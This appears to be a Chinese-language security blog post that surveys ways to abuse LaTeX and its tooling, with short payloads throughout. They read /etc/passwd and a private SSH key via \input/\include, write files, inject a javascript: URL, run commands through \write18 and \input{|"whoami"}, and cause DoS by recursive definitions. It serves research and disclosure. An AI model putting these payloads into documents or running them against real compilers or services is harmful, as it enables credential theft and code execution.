那些年,LaTeX的N種利用方法

Before all

這是一份對我AIS3時做的專題進行的整理,但是相關軟體和一些關鍵部分將暫時無法撰寫(0 day仍在通報中)
我想蠻多人都有用過LaTeX這個數學排版語言,但可能大家並不知道LaTeX的編譯其實有很多種kernel,相關的衍伸套件與軟體更是不勝枚舉,從而產生了一些有趣的利用方法
攻擊面大致分兩種:

  • 一個網站使用了有問題的LaTeX套件
  • 受害者打開了惡意的 .tex 檔案,並用有問題的軟體讀取它

本文對於LaTeX相關套件的漏洞利用方法分三種:

  • 既有函數的濫用
  • 基於解析函數的注入攻擊
  • 有問題的模塊利用

事實上,這些研究的威脅性並沒有那麼大,但簡單易理解的利用方法依然值得玩味,也期待有人玩出更多花招XD (整個ais3我大概只有三天研究,盡力ㄌ)

既有函數的濫用

利用既有函數的功能可以打出 LFI, oob write, Click XSS, RCE和DoS

LFI

因為LaTeX支援引入模板檔案,導致可以進行檔案讀取。
很多編輯器的防治方法是強制加入 .tex 的副檔名,基本上不要是過舊的語言版本就沒方法繞ㄌ

1
2
3
\input{/etc/passwd}
\include{/home/wha13/.ssh/id_rsa}
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}

oob write

道理跟剛剛LFI一樣,問題出在寫檔函數

1
2
3
4
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Click XSS

LaTeX支援url,導致可以塞入 javascript:... 這類的協議濫用,受害者點下去後就開心執行javascript…

1
\url{javascript:alert(1)}

RCE

在LaTeX中,有些預定函數如 \write18 本來的功能就是執行系統命令,不過這個東西在編譯的時候可以自行加入--no-shell-escape的flag進行防治。

1
2
\immediate\write18{env > output}
\input{output}

DoS

重複定義,打法跟fork bomb很像

1
2
\def\x{\x}\x
\def\x{\x \x}\x

不過基本上都會撞到記憶體限制

基於解析函數的注入攻擊

其實我有在某些解析器打出其他注入法可以玩XSS,不過現在不能公開QwQ

網路上有個奇怪的payload \input{|"whoami"} ,不過好像都沒有發現原因。
打開overleaf試了下,發現居然可以?!
image
image

啊哈,原來因為有獨立VM所以變成一個issue
但…為什麼會這樣?
故意製造了一下error追原因
image

問題好像出在texlive這個解析器身上,code review:
https://github.com/TeX-Live/texlive-source/blob/ab42be5a046c960f3ff4a896b1beda6347cb3799/utils/asymptote/picture.cc#L410
這個函數會把所有參數吞了以後丟到一個vector去執行它,然後沒有過濾?!
試了幾個跟texlive相關的軟體發現果然可以,當中不乏可以達成點開檔案即RCE的弱點…

有問題的模塊利用

pythontex可以執行任意python指令並輸出結果,有些LaTeX軟體又可以自動下載第一次使用的模塊,就開心RCEㄌ
晚安狐狸晚安我的世界
喵喵喵
我是鯨魚